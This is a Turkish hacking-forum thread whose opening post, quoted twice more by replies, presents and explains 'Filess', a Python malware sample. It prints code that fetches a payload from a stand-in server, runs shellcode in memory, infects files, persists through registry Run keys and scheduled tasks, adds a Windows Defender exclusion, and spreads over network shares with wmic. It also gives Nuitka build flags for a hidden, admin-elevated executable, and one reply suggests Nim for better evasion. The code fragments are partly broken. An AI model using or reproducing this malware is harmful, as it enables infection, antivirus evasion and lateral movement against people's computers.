exploit paylaşım grubumuz: t.me/HTTPwnn

Filess Malware

  • Konu başlatıcı Konu başlatıcı sh3d0w
  • Başlangıç Tarihi Başlangıç Tarihi

sh3d0w

WarNight Member
Katılım
25 Haz 2026
Mesaj
65
Reaksiyon
40
Puan
18
xentr_thread_starter

1. Filess Nedir ve Ne İşe Yarar?​

Filess, Python ile yazılmış bir zararlı yazılımdır. Amacı:

  • Uzaktan payload indirip çalıştırmak
  • Dosyalara bulaşmak (file infector)
  • Sistemde kalıcılık sağlamak (Registry, Görev Zamanlayıcı)
  • Ağ üzerinden yayılmak (NetBIOS, SMB)
  • Kendini gizlemek (Hidden + System dosya nitelikleri)
Python ile yazılmış olması, geliştirmeyi kolaylaştırır ama çalıştırılabilir hale getirmek için Nuitka ile derlenmesi gerekir.

2. Peki Bu Kod Hangi Dille Yazıldı?​

Python tercih edilmiş. Neden mi?

  • Hızlı geliştirme: Python'da 200 satırda yapılan iş, C++'da 2000 satır olabilir.
  • Geniş kütüphane desteği: ctypes ile Windows API'lerine erişim, urllib ile HTTP istekleri, winreg ile Registry işlemleri.
  • Kolay obfuscation: Python kodu kolayca karıştırılabilir (base64, zlib, XOR).
Ancak: Python, yorumlanan (interpreted) bir dil olduğu için, AV/EDR'ler tarafından tespit edilmesi daha kolaydır. Bu yüzden kodu Nuitka ile derleyip tek bir .exe haline getiriyoruz.

3. Filess - Detaylı Analiz​

3.1. Sınıf Yapısı ve Başlangıç​

python
class Filess:
def __init__(self):
self.payload_url = "https://your-server.com/payload.dat"
self.encrypted_payload = b""
self.decrypted_payload = b""
self.execution_path = os.path.abspath(sys.argv[0])
self.temp_dir = tempfile.gettempdir()
self.hidden_path = os.path.join(self.temp_dir, "svchost.exe")
self.infection_marker = b"RYUK_FILESS_WAS_HERE"
self.target_extensions = ['.exe', '.dll', '.doc', '.docx', ...]
  • payload_url: Uzaktan payload'ın indirileceği adres.
  • execution_path: Çalıştırılan dosyanın yolu.
  • hidden_path: C:\Users\Kullanıcı\AppData\Local\Temp\svchost.exe - Meşru bir Windows süreci gibi görünür.
  • infection_marker: Enfekte edilen dosyalara bırakılan imza.
  • target_extensions: Hangi dosya türlerine bulaşılacağı.

3.2. Payload İndirme (Fetch Payload)​

python
def fetch_payload(self):
try:
response = urllib.request.urlopen(self.payload_url, timeout=15)
self.encrypted_payload = response.read()
return True
except:
self.encrypted_payload = base64.b64decode(self.get_embedded_payload())
return True if self.encrypted_payload else False
  • Önce your-server.com/payload.dat adresinden şifreli payload indirilir.
  • Eğer indirme başarısız olursa, gömülü (embedded) payload kullanılır.
  • Gömülü payload, base64 ile kodlanmış ve koda gömülmüş bir payload'dır.

3.3. Payload Şifre Çözme (Decrypt Payload)​

python
def decrypt_payload(self):
try:
key = hashlib.sha256(b"RyukLovesApples_2024_Filess_Secret").digest()
iv = self.encrypted_payload[:16]
ciphertext = self.encrypted_payload[16:]
# XOR ile basit şifre çözme
decrypted = bytes([block[j] ^ key[j % len(key)] for j in range(len(block))])
self.decrypted_payload = zlib.decompress(bytes(decrypted))
return True
except:
self.decrypted_payload = zlib.decompress(base64.b64decode(self.encrypted_payload))
return True
Şifreleme yöntemi:

  • SHA256 ile bir anahtar oluşturulur.
  • Payload'ın ilk 16 baytı IV (Initialization Vector) olarak kullanılır.
  • Geri kalan veri, XOR ile şifrelenmiştir.
  • Çözüldükten sonra zlib ile sıkıştırılmış veri açılır.
Bu yöntem, "az ateş az duman" prensibine uygun değildir. Gerçek bir zararlıda AES veya ChaCha20 gibi güçlü şifreleme kullanılır.

3.4. Bellekte Çalıştırma (Execute in Memory)​

python
def allocate_memory(self, size):
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
addr = kernel32.VirtualAlloc(None, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
return addr

def execute_in_memory(self):
addr = self.allocate_memory(len(self.decrypted_payload))
ctypes.memmove(addr, self.decrypted_payload, len(self.decrypted_payload))
kernel32.CreateThread(None, 0, addr, None, 0, ctypes.byref(thread_id))
Çalışma prensibi:

  1. VirtualAlloc ile çalıştırılabilir bellek (PAGE_EXECUTE_READWRITE) ayrılır.
  2. Çözülmüş payload bu belleğe kopyalanır.
  3. CreateThread ile bu bellek adresinde bir thread başlatılır.
Bu, fileless (dosyasız) çalıştırma tekniğidir. Payload diske yazılmaz, sadece RAM'de bulunur.

3.5. Dosya Enfeksiyonu (File Infection)​

python
def infect_file(self, filepath):
with open(filepath, 'rb') as f:
original = f.read()
infected = original + b"\n\n" + self.infection_marker + b"\n" + self.decrypted_payload[:1024]
with open(filepath, 'wb') as f:
f.write(infected)
Nasıl bulaşır?

  • Hedef dosyanın sonuna RYUK_FILESS_WAS_HERE imzası eklenir.
  • Ardından payload'ın ilk 1024 baytı eklenir.
  • Dosya tekrar yazılır.
Bu, klasik bir append (ekleme) enfeksiyonudur. Dosya çalıştırıldığında, eklenen payload çalıştırılmaz! Bu yüzden bu yöntem pastane işi sayılır. Gerçek bir file infector, dosyanın giriş noktasını (entry point) değiştirir.

3.6. Kalıcılık Sağlama (Persistence)​

python
def persist_registry(self):
import winreg
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(handle, "FilessHelper", 0, winreg.REG_SZ, self.hidden_path)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Kendini Registry'ye FilessHelper ve FilessService adlarıyla yazar.

python
def persist_schtasks(self):
subprocess.run([
"schtasks", "/create", "/tn", "FilessUpdate",
"/tr", self.hidden_path, "/sc", "onlogon", "/f"
])
  • Görev Zamanlayıcı'ya FilessUpdate adında bir görev ekler.
  • Her oturum açılışında çalışır.

3.7. Windows Defender'dan Saklanma​

python
def hide_from_defender(self):
import winreg
key = winreg.HKEY_LOCAL_MACHINE
subkey = r"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY)
winreg.SetValueEx(handle, "FilessExclusion", 0, winreg.REG_SZ, os.path.dirname(self.hidden_path))
Windows Defender'a kendi klasörünü tarama dışı (exclusion) olarak ekler. Bu sayede tespit edilmez.

3.8. Ağ Üzerinden Yayılma (Network Propagation)​

python
def network_propagate(self):
result = subprocess.run(["net", "view"], capture_output=True)
targets = []
for line in lines:
if "\\\\" in line:
targets.append(part.strip())
for target in targets:
dest = target + "\\C$\\Windows\\Temp\\filess.exe"
shutil.copy2(self.execution_path, dest)
subprocess.run(["wmic", "/node:" + target, "process", "call", "create", dest])
  • net view ile ağdaki diğer bilgisayarları listeler.
  • Her hedefe filess.exe kopyalar.
  • wmic ile uzaktan çalıştırır.

3.9. Kendini İmha Etme (Self-Destruct)​

python
def self_destruct(self):
batch = f"""
@echo off
timeout /t 2 /nobreak > nul
del "{self.execution_path}" /f /q
del "%~f0" /f /q
"""
subprocess.Popen(batch_path, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)
  • Kendini silmek için bir batch dosyası oluşturur.
  • Batch dosyası çalıştığında, ana exe'yi ve kendisini siler.

3.10. Arka Plan Thread'leri​

python
def start_background_threads(self):
def worker():
while True:
time.sleep(60)
self.scan_and_infect_files()
self.network_propagate()
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
  • Her 60 saniyede bir dosya taraması ve ağ yayılması yapan bir arka plan thread'i başlatır.

4. Nuitka ile Derleme​

python
#nuitka --standalone --onefile --windows-disable-console --windows-uac-admin --output-dir=dist filess.py
Nuitka ile Python kodu C'ye dönüştürülür ve derlenir.

  • --standalone: Bağımlılıklar dahil.
  • --onefile: Tek bir .exe dosyası oluşturur.
  • --windows-disable-console: Konsol penceresi gösterilmez.
  • --windows-uac-admin: Yönetici yetkisi ister.
 

Ekli Dosyalar

1. Filess Nedir ve Ne İşe Yarar?​

Filess, Python ile yazılmış bir zararlı yazılımdır. Amacı:

  • Uzaktan payload indirip çalıştırmak
  • Dosyalara bulaşmak (file infector)
  • Sistemde kalıcılık sağlamak (Registry, Görev Zamanlayıcı)
  • Ağ üzerinden yayılmak (NetBIOS, SMB)
  • Kendini gizlemek (Hidden + System dosya nitelikleri)
Python ile yazılmış olması, geliştirmeyi kolaylaştırır ama çalıştırılabilir hale getirmek için Nuitka ile derlenmesi gerekir.

2. Peki Bu Kod Hangi Dille Yazıldı?​

Python tercih edilmiş. Neden mi?

  • Hızlı geliştirme: Python'da 200 satırda yapılan iş, C++'da 2000 satır olabilir.
  • Geniş kütüphane desteği: ctypes ile Windows API'lerine erişim, urllib ile HTTP istekleri, winreg ile Registry işlemleri.
  • Kolay obfuscation: Python kodu kolayca karıştırılabilir (base64, zlib, XOR).
Ancak: Python, yorumlanan (interpreted) bir dil olduğu için, AV/EDR'ler tarafından tespit edilmesi daha kolaydır. Bu yüzden kodu Nuitka ile derleyip tek bir .exe haline getiriyoruz.

3. Filess - Detaylı Analiz​

3.1. Sınıf Yapısı ve Başlangıç​

python
class Filess:
def __init__(self):
self.payload_url = "https://your-server.com/payload.dat"
self.encrypted_payload = b""
self.decrypted_payload = b""
self.execution_path = os.path.abspath(sys.argv[0])
self.temp_dir = tempfile.gettempdir()
self.hidden_path = os.path.join(self.temp_dir, "svchost.exe")
self.infection_marker = b"RYUK_FILESS_WAS_HERE"
self.target_extensions = ['.exe', '.dll', '.doc', '.docx', ...]
  • payload_url: Uzaktan payload'ın indirileceği adres.
  • execution_path: Çalıştırılan dosyanın yolu.
  • hidden_path: C:\Users\Kullanıcı\AppData\Local\Temp\svchost.exe - Meşru bir Windows süreci gibi görünür.
  • infection_marker: Enfekte edilen dosyalara bırakılan imza.
  • target_extensions: Hangi dosya türlerine bulaşılacağı.

3.2. Payload İndirme (Fetch Payload)​

python
def fetch_payload(self):
try:
response = urllib.request.urlopen(self.payload_url, timeout=15)
self.encrypted_payload = response.read()
return True
except:
self.encrypted_payload = base64.b64decode(self.get_embedded_payload())
return True if self.encrypted_payload else False
  • Önce your-server.com/payload.dat adresinden şifreli payload indirilir.
  • Eğer indirme başarısız olursa, gömülü (embedded) payload kullanılır.
  • Gömülü payload, base64 ile kodlanmış ve koda gömülmüş bir payload'dır.

3.3. Payload Şifre Çözme (Decrypt Payload)​

python
def decrypt_payload(self):
try:
key = hashlib.sha256(b"RyukLovesApples_2024_Filess_Secret").digest()
iv = self.encrypted_payload[:16]
ciphertext = self.encrypted_payload[16:]
# XOR ile basit şifre çözme
decrypted = bytes([block[j] ^ key[j % len(key)] for j in range(len(block))])
self.decrypted_payload = zlib.decompress(bytes(decrypted))
return True
except:
self.decrypted_payload = zlib.decompress(base64.b64decode(self.encrypted_payload))
return True
Şifreleme yöntemi:

  • SHA256 ile bir anahtar oluşturulur.
  • Payload'ın ilk 16 baytı IV (Initialization Vector) olarak kullanılır.
  • Geri kalan veri, XOR ile şifrelenmiştir.
  • Çözüldükten sonra zlib ile sıkıştırılmış veri açılır.
Bu yöntem, "az ateş az duman" prensibine uygun değildir. Gerçek bir zararlıda AES veya ChaCha20 gibi güçlü şifreleme kullanılır.

3.4. Bellekte Çalıştırma (Execute in Memory)​

python
def allocate_memory(self, size):
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
addr = kernel32.VirtualAlloc(None, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
return addr

def execute_in_memory(self):
addr = self.allocate_memory(len(self.decrypted_payload))
ctypes.memmove(addr, self.decrypted_payload, len(self.decrypted_payload))
kernel32.CreateThread(None, 0, addr, None, 0, ctypes.byref(thread_id))
Çalışma prensibi:

  1. VirtualAlloc ile çalıştırılabilir bellek (PAGE_EXECUTE_READWRITE) ayrılır.
  2. Çözülmüş payload bu belleğe kopyalanır.
  3. CreateThread ile bu bellek adresinde bir thread başlatılır.
Bu, fileless (dosyasız) çalıştırma tekniğidir. Payload diske yazılmaz, sadece RAM'de bulunur.

3.5. Dosya Enfeksiyonu (File Infection)​

python
def infect_file(self, filepath):
with open(filepath, 'rb') as f:
original = f.read()
infected = original + b"\n\n" + self.infection_marker + b"\n" + self.decrypted_payload[:1024]
with open(filepath, 'wb') as f:
f.write(infected)
Nasıl bulaşır?

  • Hedef dosyanın sonuna RYUK_FILESS_WAS_HERE imzası eklenir.
  • Ardından payload'ın ilk 1024 baytı eklenir.
  • Dosya tekrar yazılır.
Bu, klasik bir append (ekleme) enfeksiyonudur. Dosya çalıştırıldığında, eklenen payload çalıştırılmaz! Bu yüzden bu yöntem pastane işi sayılır. Gerçek bir file infector, dosyanın giriş noktasını (entry point) değiştirir.

3.6. Kalıcılık Sağlama (Persistence)​

python
def persist_registry(self):
import winreg
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(handle, "FilessHelper", 0, winreg.REG_SZ, self.hidden_path)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Kendini Registry'ye FilessHelper ve FilessService adlarıyla yazar.

python
def persist_schtasks(self):
subprocess.run([
"schtasks", "/create", "/tn", "FilessUpdate",
"/tr", self.hidden_path, "/sc", "onlogon", "/f"
])
  • Görev Zamanlayıcı'ya FilessUpdate adında bir görev ekler.
  • Her oturum açılışında çalışır.

3.7. Windows Defender'dan Saklanma​

python
def hide_from_defender(self):
import winreg
key = winreg.HKEY_LOCAL_MACHINE
subkey = r"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY)
winreg.SetValueEx(handle, "FilessExclusion", 0, winreg.REG_SZ, os.path.dirname(self.hidden_path))
Windows Defender'a kendi klasörünü tarama dışı (exclusion) olarak ekler. Bu sayede tespit edilmez.

3.8. Ağ Üzerinden Yayılma (Network Propagation)​

python
def network_propagate(self):
result = subprocess.run(["net", "view"], capture_output=True)
targets = []
for line in lines:
if "\\\\" in line:
targets.append(part.strip())
for target in targets:
dest = target + "\\C$\\Windows\\Temp\\filess.exe"
shutil.copy2(self.execution_path, dest)
subprocess.run(["wmic", "/node:" + target, "process", "call", "create", dest])
  • net view ile ağdaki diğer bilgisayarları listeler.
  • Her hedefe filess.exe kopyalar.
  • wmic ile uzaktan çalıştırır.

3.9. Kendini İmha Etme (Self-Destruct)​

python
def self_destruct(self):
batch = f"""
@echo off
timeout /t 2 /nobreak > nul
del "{self.execution_path}" /f /q
del "%~f0" /f /q
"""
subprocess.Popen(batch_path, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)
  • Kendini silmek için bir batch dosyası oluşturur.
  • Batch dosyası çalıştığında, ana exe'yi ve kendisini siler.

3.10. Arka Plan Thread'leri​

python
def start_background_threads(self):
def worker():
while True:
time.sleep(60)
self.scan_and_infect_files()
self.network_propagate()
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
  • Her 60 saniyede bir dosya taraması ve ağ yayılması yapan bir arka plan thread'i başlatır.

4. Nuitka ile Derleme​

python
#nuitka --standalone --onefile --windows-disable-console --windows-uac-admin --output-dir=dist filess.py
Nuitka ile Python kodu C'ye dönüştürülür ve derlenir.

  • --standalone: Bağımlılıklar dahil.
  • --onefile: Tek bir .exe dosyası oluşturur.
  • --windows-disable-console: Konsol penceresi gösterilmez.
  • --windows-uac-admin: Yönetici yetkisi ister.
e.s
 

1. Filess Nedir ve Ne İşe Yarar?​

Filess, Python ile yazılmış bir zararlı yazılımdır. Amacı:

  • Uzaktan payload indirip çalıştırmak
  • Dosyalara bulaşmak (file infector)
  • Sistemde kalıcılık sağlamak (Registry, Görev Zamanlayıcı)
  • Ağ üzerinden yayılmak (NetBIOS, SMB)
  • Kendini gizlemek (Hidden + System dosya nitelikleri)
Python ile yazılmış olması, geliştirmeyi kolaylaştırır ama çalıştırılabilir hale getirmek için Nuitka ile derlenmesi gerekir.

2. Peki Bu Kod Hangi Dille Yazıldı?​

Python tercih edilmiş. Neden mi?

  • Hızlı geliştirme: Python'da 200 satırda yapılan iş, C++'da 2000 satır olabilir.
  • Geniş kütüphane desteği: ctypes ile Windows API'lerine erişim, urllib ile HTTP istekleri, winreg ile Registry işlemleri.
  • Kolay obfuscation: Python kodu kolayca karıştırılabilir (base64, zlib, XOR).
Ancak: Python, yorumlanan (interpreted) bir dil olduğu için, AV/EDR'ler tarafından tespit edilmesi daha kolaydır. Bu yüzden kodu Nuitka ile derleyip tek bir .exe haline getiriyoruz.

3. Filess - Detaylı Analiz​

3.1. Sınıf Yapısı ve Başlangıç​

python
class Filess:
def __init__(self):
self.payload_url = "https://your-server.com/payload.dat"
self.encrypted_payload = b""
self.decrypted_payload = b""
self.execution_path = os.path.abspath(sys.argv[0])
self.temp_dir = tempfile.gettempdir()
self.hidden_path = os.path.join(self.temp_dir, "svchost.exe")
self.infection_marker = b"RYUK_FILESS_WAS_HERE"
self.target_extensions = ['.exe', '.dll', '.doc', '.docx', ...]
  • payload_url: Uzaktan payload'ın indirileceği adres.
  • execution_path: Çalıştırılan dosyanın yolu.
  • hidden_path: C:\Users\Kullanıcı\AppData\Local\Temp\svchost.exe - Meşru bir Windows süreci gibi görünür.
  • infection_marker: Enfekte edilen dosyalara bırakılan imza.
  • target_extensions: Hangi dosya türlerine bulaşılacağı.

3.2. Payload İndirme (Fetch Payload)​

python
def fetch_payload(self):
try:
response = urllib.request.urlopen(self.payload_url, timeout=15)
self.encrypted_payload = response.read()
return True
except:
self.encrypted_payload = base64.b64decode(self.get_embedded_payload())
return True if self.encrypted_payload else False
  • Önce your-server.com/payload.dat adresinden şifreli payload indirilir.
  • Eğer indirme başarısız olursa, gömülü (embedded) payload kullanılır.
  • Gömülü payload, base64 ile kodlanmış ve koda gömülmüş bir payload'dır.

3.3. Payload Şifre Çözme (Decrypt Payload)​

python
def decrypt_payload(self):
try:
key = hashlib.sha256(b"RyukLovesApples_2024_Filess_Secret").digest()
iv = self.encrypted_payload[:16]
ciphertext = self.encrypted_payload[16:]
# XOR ile basit şifre çözme
decrypted = bytes([block[j] ^ key[j % len(key)] for j in range(len(block))])
self.decrypted_payload = zlib.decompress(bytes(decrypted))
return True
except:
self.decrypted_payload = zlib.decompress(base64.b64decode(self.encrypted_payload))
return True
Şifreleme yöntemi:

  • SHA256 ile bir anahtar oluşturulur.
  • Payload'ın ilk 16 baytı IV (Initialization Vector) olarak kullanılır.
  • Geri kalan veri, XOR ile şifrelenmiştir.
  • Çözüldükten sonra zlib ile sıkıştırılmış veri açılır.
Bu yöntem, "az ateş az duman" prensibine uygun değildir. Gerçek bir zararlıda AES veya ChaCha20 gibi güçlü şifreleme kullanılır.

3.4. Bellekte Çalıştırma (Execute in Memory)​

python
def allocate_memory(self, size):
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
addr = kernel32.VirtualAlloc(None, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
return addr

def execute_in_memory(self):
addr = self.allocate_memory(len(self.decrypted_payload))
ctypes.memmove(addr, self.decrypted_payload, len(self.decrypted_payload))
kernel32.CreateThread(None, 0, addr, None, 0, ctypes.byref(thread_id))
Çalışma prensibi:

  1. VirtualAlloc ile çalıştırılabilir bellek (PAGE_EXECUTE_READWRITE) ayrılır.
  2. Çözülmüş payload bu belleğe kopyalanır.
  3. CreateThread ile bu bellek adresinde bir thread başlatılır.
Bu, fileless (dosyasız) çalıştırma tekniğidir. Payload diske yazılmaz, sadece RAM'de bulunur.

3.5. Dosya Enfeksiyonu (File Infection)​

python
def infect_file(self, filepath):
with open(filepath, 'rb') as f:
original = f.read()
infected = original + b"\n\n" + self.infection_marker + b"\n" + self.decrypted_payload[:1024]
with open(filepath, 'wb') as f:
f.write(infected)
Nasıl bulaşır?

  • Hedef dosyanın sonuna RYUK_FILESS_WAS_HERE imzası eklenir.
  • Ardından payload'ın ilk 1024 baytı eklenir.
  • Dosya tekrar yazılır.
Bu, klasik bir append (ekleme) enfeksiyonudur. Dosya çalıştırıldığında, eklenen payload çalıştırılmaz! Bu yüzden bu yöntem pastane işi sayılır. Gerçek bir file infector, dosyanın giriş noktasını (entry point) değiştirir.

3.6. Kalıcılık Sağlama (Persistence)​

python
def persist_registry(self):
import winreg
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(handle, "FilessHelper", 0, winreg.REG_SZ, self.hidden_path)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Kendini Registry'ye FilessHelper ve FilessService adlarıyla yazar.

python
def persist_schtasks(self):
subprocess.run([
"schtasks", "/create", "/tn", "FilessUpdate",
"/tr", self.hidden_path, "/sc", "onlogon", "/f"
])
  • Görev Zamanlayıcı'ya FilessUpdate adında bir görev ekler.
  • Her oturum açılışında çalışır.

3.7. Windows Defender'dan Saklanma​

python
def hide_from_defender(self):
import winreg
key = winreg.HKEY_LOCAL_MACHINE
subkey = r"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY)
winreg.SetValueEx(handle, "FilessExclusion", 0, winreg.REG_SZ, os.path.dirname(self.hidden_path))
Windows Defender'a kendi klasörünü tarama dışı (exclusion) olarak ekler. Bu sayede tespit edilmez.

3.8. Ağ Üzerinden Yayılma (Network Propagation)​

python
def network_propagate(self):
result = subprocess.run(["net", "view"], capture_output=True)
targets = []
for line in lines:
if "\\\\" in line:
targets.append(part.strip())
for target in targets:
dest = target + "\\C$\\Windows\\Temp\\filess.exe"
shutil.copy2(self.execution_path, dest)
subprocess.run(["wmic", "/node:" + target, "process", "call", "create", dest])
  • net view ile ağdaki diğer bilgisayarları listeler.
  • Her hedefe filess.exe kopyalar.
  • wmic ile uzaktan çalıştırır.

3.9. Kendini İmha Etme (Self-Destruct)​

python
def self_destruct(self):
batch = f"""
@echo off
timeout /t 2 /nobreak > nul
del "{self.execution_path}" /f /q
del "%~f0" /f /q
"""
subprocess.Popen(batch_path, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)
  • Kendini silmek için bir batch dosyası oluşturur.
  • Batch dosyası çalıştığında, ana exe'yi ve kendisini siler.

3.10. Arka Plan Thread'leri​

python
def start_background_threads(self):
def worker():
while True:
time.sleep(60)
self.scan_and_infect_files()
self.network_propagate()
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
  • Her 60 saniyede bir dosya taraması ve ağ yayılması yapan bir arka plan thread'i başlatır.

4. Nuitka ile Derleme​

python
#nuitka --standalone --onefile --windows-disable-console --windows-uac-admin --output-dir=dist filess.py
Nuitka ile Python kodu C'ye dönüştürülür ve derlenir.

  • --standalone: Bağımlılıklar dahil.
  • --onefile: Tek bir .exe dosyası oluşturur.
  • --windows-disable-console: Konsol penceresi gösterilmez.
  • --windows-uac-admin: Yönetici yetkisi ister.
c++ ile Pythonu karşılaştırmak bence biraz gereksiz olmuş. Çünkü Python basit bir bellek okuma işleminde bile bazen çok kolay engellere takılabiliyor ama c++ de öyle bir durum yok. Nuitka ile derlemesen bu Python kodu çok kolay patlardı ve 1 yara kuralına bakardı. Bu kadar uğraş yerine Nim'i tavsiye ederim bunlar dışında gayet güzel ve bilgilendirici bir konu olmuş eline sağlık.
 
Geri
En Üst